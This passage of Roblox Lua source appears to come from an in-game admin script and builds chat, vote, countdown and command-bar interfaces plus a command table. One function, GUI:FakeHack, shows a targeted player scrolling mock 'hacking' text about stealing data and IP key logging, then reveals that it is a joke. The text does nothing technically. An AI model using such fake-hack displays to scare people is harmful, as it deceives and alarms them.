4444 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4445 Frame.Size = UDim2.new(1,0,1,-30)
4446 Frame.CanvasSize = UDim2.new(0,500,0,300)
4447
4448 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundColor3 = Color3.new(1, 1, 1) ChatBox.BackgroundTransparency = 0.5 ChatBox.Text = "Click here or press the '-' key" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4449 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = Color3.new(1, 1, 1) Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4450
4451 local function AddLine(Speaker, MessageText, MessageColor)
4452 MessageText = STRING:Defilter(MessageText)
4453 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4454 if not MessageColor then MessageColor = GUI:ContrastColor() end
4455 for Num,Bound in pairs(Elements) do
4456 Bound.Position = Bound.Position + UDim2.new(0,0,0,-20)
4457 if Bound.Position.Y.Offset <= -1020 then Bound:Destroy() end
4458 end
4459 local Bounds = Instance.new("Frame", Frame) Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 0) Bounds.BackgroundTransparency = 1
4460 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4461 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4462 CORE:ExecuteResource("ReposGui", Bounds)
4463 table.insert(Elements, Bounds)
4464 end
4465
4466 if PreAdd then
4467 for Num,Add in pairs(PreAdd) do
4468 if Num >= #PreAdd - 20 then
4469 AddLine(Add[1], Add[2], Add[3])
4470 end
4471 end
4472 end
4473
4474 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4475
4476 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4477 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4478 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4479
4480 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4481
4482 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4483
4484 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4485 if ChatBox.Text == "Click here or press the '-' key" then
4486 ChatBox.Text = ""
4487 end
4488 end)
4489
4490 local function FireSendPressed()
4491 local Text = CORE:ReadProperty(RPR, Player, "Text")
4492 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4493 SendPressed:Fire(Text)
4494 ChatBox.Text = "Click here or press the '-' key"
4495 end
4496 end
4497
4498 Closed.Event:connect(function()
4499 if Stopped == false then
4500 Stopped = true
4501 if SpeakerEvents then SpeakerEvents("Leave") end
4502 end
4503 end)
4504
4505 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4506 EnterPressed.OnServerInvoke = FireSendPressed
4507 AddMessage.OnInvoke = AddLine
4508
4509 if SpeakerEvents then
4510 SpeakerEvents("Join")
4511
4512 coroutine.wrap(function()
4513 repeat wait() until not Frame or not Frame.Parent
4514 if Stopped == false then
4515 Stopped = true
4516 SpeakerEvents("Leave")
4517 end
4518 end)()
4519 end
4520
4521 return SendPressed, AddMessage
4522end
4523
4524function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
4525 if tonumber(Time) then ShowFormButtons = false end
4526 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4527 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4528 local Clicked = nil
4529 local Alive = true
4530
4531 local function ClosePrompt(ButtonName)
4532 Alive = false
4533 Close:Invoke()
4534 Clicked = ButtonName
4535 end
4536
4537 for Num,Select in pairs(Buttons) do
4538 local Name = Select
4539 local Style = "White"
4540 local TextColor3 = Color3.new(0,0,0)
4541 if type(Select) == "table" then
4542 Name = Select[1]
4543 if Select[2] then Style = Select[2] end
4544 if Select[3] then TextColor3 = Select[3] end
4545 elseif type(Select) == "string" then
4546 local Case = string.lower(Select)
4547 if Case == "ok" then
4548 Name = "Ok"
4549 Style = "Primary"
4550 TextColor3 = Color3.new(1,1,1)
4551 elseif Case == "yes" then
4552 Name = "Yes"
4553 Style = "Gray"
4554 TextColor3 = Color3.new(0,1,0)
4555 elseif Case == "no" then
4556 Name = "No"
4557 Style = "Red"
4558 TextColor3 = Color3.new(1,0,0)
4559 end
4560 end
4561
4562 if Style == "None" then Style = "Custom" end
4563 if Style == "Casual" then Style = "RobloxButton" end
4564 if Style == "Red" then Style = "RobloxButtonDefault" end
4565 if Style == "Gray" then Style = "RobloxRoundButton" end
4566 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4567 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4568
4569 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4570 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4571 SOUND:BindButton(Button)
4572 end
4573
4574 if tonumber(Time) then
4575 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4576 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4577 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4578
4579 for i = Time,0,-1 do
4580 for ii = 1,10 do
4581 if Alive == true then
4582 Ticker.Text = i
4583 wait(0.1)
4584 else
4585 break
4586 end
4587 end
4588 end
4589 if Alive == true then
4590 ClosePrompt()
4591 end
4592 end
4593
4594 repeat wait() until Alive == false
4595 return Clicked
4596end
4597
4598function GUI:Vote(Speaker, Players, Text, Time)
4599 if not Players or not Text or #Players <= 0 then return end
4600
4601 Text = STRING:Defilter(Text)
4602 local Votes = {}
4603 local Tick = 0
4604
4605 for _,Player in pairs(Players) do
4606 local CanVote = true
4607 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4608 if CanVote == true then
4609 coroutine.wrap(function()
4610 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time)
4611 if Answer == nil then Answer = "Unknown" end
4612 table.insert(Votes, Answer)
4613 end)()
4614 end
4615 end
4616 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4617 wait(2)
4618 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4619 local Total = #Players
4620 local Yes,No,Unknown = 0,0,0
4621 for _,Vote in pairs(Votes) do
4622 if Vote == "Yes" then Yes = Yes + 1
4623 elseif Vote == "No" then No = No + 1
4624 end
4625 end
4626 Unknown = #Players - #Votes
4627
4628 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4629 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4630 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4631]]..Yes.."/"..Total..[[
4632]]..math.ceil((Yes/Total)*100).."% "
4633 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4634]]..No.."/"..Total..[[
4635]]..math.ceil((No/Total)*100).."% "
4636 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4637]]..Unknown.."/"..Total..[[
4638]]..math.ceil((Unknown/Total)*100).."% "
4639 end
4640end
4641
4642function GUI:LoadGui(Player, Text, InfoText)
4643 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4644 local Dead = false
4645
4646 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4647 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4648 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4649 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4650 if InfoText then Info.Text = InfoText end
4651
4652 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4653 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4654
4655 CloseGui.OnInvoke = function()
4656 Close:Invoke()
4657 Dead = true
4658 end
4659 AddInfo.OnInvoke = function(AddText)
4660 Info.Text = AddText
4661 end
4662
4663 coroutine.wrap(function()
4664 for i = 0,math.huge,3 do
4665 if Dead == false and Frame then
4666 WaitIcon.Rotation = i
4667 wait()
4668 else
4669 break
4670 end
4671 end
4672 end)()
4673
4674 coroutine.wrap(function()
4675 while Dead == false and Frame do
4676 wait(0.5)
4677 LoadLabel.Text = Text.."."
4678 wait(0.5)
4679 LoadLabel.Text = Text..".."
4680 wait(0.5)
4681 LoadLabel.Text = Text.."..."
4682 wait(0.5)
4683 LoadLabel.Text = Text..".."
4684 wait(0.5)
4685 LoadLabel.Text = Text.."."
4686 wait(0.5)
4687 LoadLabel.Text = Text
4688 end
4689 end)()
4690
4691 wait(1)
4692
4693 return CloseGui, AddInfo
4694end
4695
4696function GUI:FakeHack(Player) coroutine.wrap(function()
4697 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4698 local FakeText = [[
4699>SHELL: BEGIN
4700>RUNCODE:
4701return {
4702 local Hack = {"Account", "Tix", "Robux"};
4703 function Start(Type, Inject, Scan)
4704 if not Inject then Inject = "In-Game" end
4705 return {Type, Inject, Scan}
4706 end
4707 for Exe,Exploit in pairs(Hack) do
4708 local IP = Start("In-Game",Exploit,
4709 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4710 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4711 )
4712 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4713 for i = 1,#Injection[2] do
4714 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4715 end
4716 local PlayerProxy = newproxy(true)
4717 setmetatable(PlayerProxy,Injection[3],{
4718 __index = function(StealData, ...) local Data = unpack(...)
4719 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4720 end;
4721 })
4722 end
4723 Log("HACKED HOST: PLAYERNAME")
4724}
4725>HACKED HOST: PLAYERNAME
4726
4727]]
4728 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
4729 if SG then SG:Destroy() end
4730 SG = Instance.new("ScreenGui", Player.PlayerGui)
4731 SG.Name = "MML Hack Gui"
4732 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
4733 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
4734 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
4735 for i = 1,#FakeText do
4736 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
4737 if math.random(1,5) == 1 then
4738 wait()
4739 end
4740 end
4741 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
4742 wait(3)
4743 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
4744fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
4745 X.Visible = true
4746end)() end
4747
4748function GUI:CommandBar(Player)
4749 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4750
4751 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
4752 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
4753 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
4754 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
4755
4756 local _,Rank = RANK:GetRank(Player)
4757 local UsableCommands = {}
4758 for CommandNames,Data in pairs(Commands) do
4759 if not Data.Hidden then
4760 if RANK:ConvertRank(Data[4]) <= Rank then
4761 for _,Command in pairs(CommandNames) do
4762 table.insert(UsableCommands, {Command, Data[3]})
4763 end
4764 end
4765 end
4766 end
4767
4768 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
4769
4770 local function ExecuteText()
4771 local Text = CORE:ReadProperty(RPR, Player, "Text")
4772 CORE:Chatted(Text, Player, true)
4773 CommandBox.Text = "Enter a command here"
4774 end
4775
4776 local function AddSuggestion(Text)
4777 if Text == nil then Text = Settings.Prefix end
4778 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
4779 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
4780 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
4781 if Text == Settings.Prefix then
4782 CommandBox.Text = Settings.Prefix
4783 else
4784 CommandBox.Text = Settings.Prefix..Text
4785 end
4786 CORE:ExecuteResource("Focus", CommandBox)
4787 end, true)
4788 end
4789
4790 CORE:HandleEvent(CommandBox, "MouseEnter", function()
4791 if CommandBox.Text == "Enter a command here" then
4792 CommandBox.Text = ""
4793 end
4794 end)
4795
4796 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
4797 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
4798
4799 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
4800 EnterPressed.OnServerInvoke = ExecuteText
4801
4802 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
4803 Suggest.CanvasSize = UDim2.new(0,0,0,0)
4804 Suggest:ClearAllChildren()
4805 local Text = CORE:ReadProperty(RPR, Player, "Text")
4806 if Text == "" then
4807 AddSuggestion(Settings.Prefix)
4808 end
4809
4810 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
4811 Text = string.sub(Text,#Settings.Prefix+1)
4812 end
4813 for _,Data in pairs(UsableCommands) do
4814 local Command,Args = Data[1],Data[2]
4815 if string.find(string.lower(Command),string.lower(Text)) then
4816 local NewSuggestion = Command
4817 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
4818 AddSuggestion(NewSuggestion)
4819 end
4820 end
4821
4822 end end)
4823end
4824
4825function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
4826 if not Player or not AllSeconds then return nil end
4827 AllSeconds = tonumber(AllSeconds)
4828 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
4829 AllSeconds = math.floor(AllSeconds)
4830 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
4831 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
4832 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
4833 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
4834 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
4835 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
4836
4837 local CurrentSeconds = AllSeconds
4838 local Alive = true
4839 coroutine.wrap(function() for i = 0,AllSeconds do
4840 if not Alive then break end
4841 local Seconds = tostring(math.fmod(CurrentSeconds,60))
4842 local Minutes = tostring(math.floor(CurrentSeconds/60))
4843 if #Seconds == 1 then Seconds = "0"..Seconds end
4844 if #Minutes == 1 then Minutes = "0"..Minutes end
4845 Time.Text = Minutes..":"..Seconds
4846 wait(1)
4847 if CurrentSeconds <= 0 then
4848 Alarm:Play()
4849 Time.Text = "00:00"
4850 Part.Size = UDim2.new(1,0,1,0)
4851 Restore:Invoke()
4852 wait(4)
4853 Close:Invoke()
4854 break
4855 else
4856 Tick:Play()
4857 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
4858 CurrentSeconds = CurrentSeconds - 1
4859 end
4860 end end)()
4861
4862 Closed.Event:connect(function()
4863 if Alive == true then
4864 Alive = false
4865 Tick:Stop()
4866 Alarm:Stop()
4867 end
4868 end)
4869end)() end
4870
4871function GUI:DetachChat(Player)
4872 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4873 if Player:FindFirstChild("DetachChatMML") then
4874 Player.DetachChatMML:Invoke(true)
4875 wait()
4876 Player.DetachChatMML:Destroy()
4877 end
4878
4879 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
4880 local SG = Frame.Parent.Parent.Parent
4881
4882 local DCBF = Instance.new("BindableFunction", Player)
4883 DCBF.Name = "DetachChatMML"
4884 DCBF.OnInvoke = function(Remove)
4885 if Remove then
4886 SG:Destroy()
4887 end
4888 end
4889 CORE:ExecuteResource("CoreChat", SG)
4890
4891 local IsClosed = false
4892 Closed.Event:connect(function()
4893 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
4894 IsClosed = true
4895 end)
4896
4897 coroutine.wrap(function()
4898 Player.CharacterRemoving:wait()
4899 if not IsClosed then
4900 IsClosed = true
4901 wait(1)
4902 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
4903 end
4904 end)()
4905end
4906
4907function GUI:SendChat(Player, Data) coroutine.wrap(function()
4908 if not Player then return nil end
4909 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
4910
4911 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
4912end)() end
4913
4914function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time)
4915 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4916
4917 local NumSounds = 0
4918 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
4919 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
4920 NumSounds = NumSounds + 1
4921 end
4922 end
4923
4924 local Size = UDim2.new(0.1, 100, 0.1, 100)
4925 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
4926 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
4927
4928 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = GUI:ContrastColor() Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
4929 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = GUI:ContrastColor() Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
4930 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
4931 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
4932
4933 coroutine.wrap(function()
4934 local Alive = true
4935
4936 local function StopTimer() Alive = false end
4937 Closed.Event:connect(StopTimer)
4938 Minimized.Event:connect(StopTimer)
4939 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4940
4941 for i = Time,0,-1 do
4942 for ii = 1,10 do
4943 if Alive == true then
4944 Timer.Text = i
4945 wait(0.1)
4946 else
4947 break
4948 end
4949 end
4950 end
4951 if Alive == true then
4952 Close:Invoke()
4953 else
4954 Timer:Destroy()
4955 Stop:Destroy()
4956 end
4957 end)()
4958end
4959
4960---- COMMANDS ----
4961
4962-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
4963
4964Commands = { -- can't make local
4965 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
4966 print("[MML's Admin]: Test message from "..Speaker.Name)
4967 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
4968 end};
4969
4970 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
4971 local Players = STRING:Scan(Arguments[1], Speaker)
4972 for _,Player in pairs(Players) do
4973 if Player.Character then
4974 Player.Character:BreakJoints()
4975 end
4976 end
4977 end};
4978
4979 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
4980 local Players = STRING:Scan(Arguments[1], Speaker)
4981 for _,Player in pairs(Players) do
4982 if Player.Character then
4983 Instance.new("ForceField", Player.Character)
4984 end
4985 end
4986 end};
4987
4988 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
4989 local Players = STRING:Scan(Arguments[1], Speaker)
4990 for _,Player in pairs(Players) do
4991 if Player.Character then
4992 for _,Get in pairs(Player.Character:GetChildren()) do
4993 if Get:IsA("ForceField") then
4994 Get:Destroy()
4995 end
4996 end
4997 end
4998 end
4999 end};
5000
5001 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5002 for _,Player in pairs(Server.Players:GetPlayers()) do
5003 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
5004 end
5005 end};
5006
5007 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5008 for _,Player in pairs(Server.Players:GetPlayers()) do
5009 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569)
5010 end
5011 end};
5012
5013 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5014 local Players = STRING:Scan(Arguments[1], Speaker)
5015 for _,Player in pairs(Players) do
5016 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
5017 end
5018 end};
5019
5020 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5021 for _,Player in pairs(Server.Players:GetPlayers()) do
5022 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24})
5023 end
5024 end};
5025
